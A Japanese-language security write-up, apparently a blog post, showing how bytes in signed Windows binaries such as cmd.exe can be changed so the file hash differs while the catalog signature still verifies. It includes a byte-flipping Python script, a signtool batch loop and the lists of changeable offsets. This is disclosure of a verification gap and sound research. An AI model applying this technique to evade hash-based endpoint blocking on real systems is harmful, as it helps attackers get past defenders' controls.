
署名済みWindowsバイナリを変異させ、ファイルハッシュを変更しながら有効なカタログ署名を保持することで、ハッシュベースのエンドポイントブロックを回避し、Authenticode検証のギャップを露呈します。
このアイデアは、「regsvr32.exe」などの既知の「悪意のある」署名付きアプリケーションをブロックするエンドポイントソリューションをバイパスすることでした。 有効な署名付きファイルで、異なるハッシュを持つものを取得する方法を探していました。
signtool verify /v /a cmd.exe を使用
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
出力に基づいて、「Hash of file」がcmd.exeのSHA1だと思いました(7EB22CBAA74B208DF433C70C06A99280036A52F3)
さらに調べたところ、cmd.exeファイルのSHA1は次のとおりです
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
興味深いことに、同じファイルで2つの異なるハッシュが得られました。
この時点で、署名がファイルのすべてのセクションを含んでいない可能性があると推測しました。
簡単なPythonスクリプトを作成してテストファイルを生成しました。
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
その後、python generate.py cmd.exe を実行し、300GBを超える新しいファイルを生成しました。
次に、作成した各ファイルが署名テストに合格するかどうかを検証する必要があります。
簡単なバッチファイルでそれを行うことができます
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
バイナリ330.exeは署名チェックに合格しました。 この場合、オフセット330が変更されているため、ファイルは異なります。
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
次のバイトは署名を壊さずに変更できます:
330, 331, 408 - 412
次のバイトは署名を壊さずに変更できます:
320 - 323, 400 - 407
次のバイトは署名を壊さずに変更できます:
216 - 219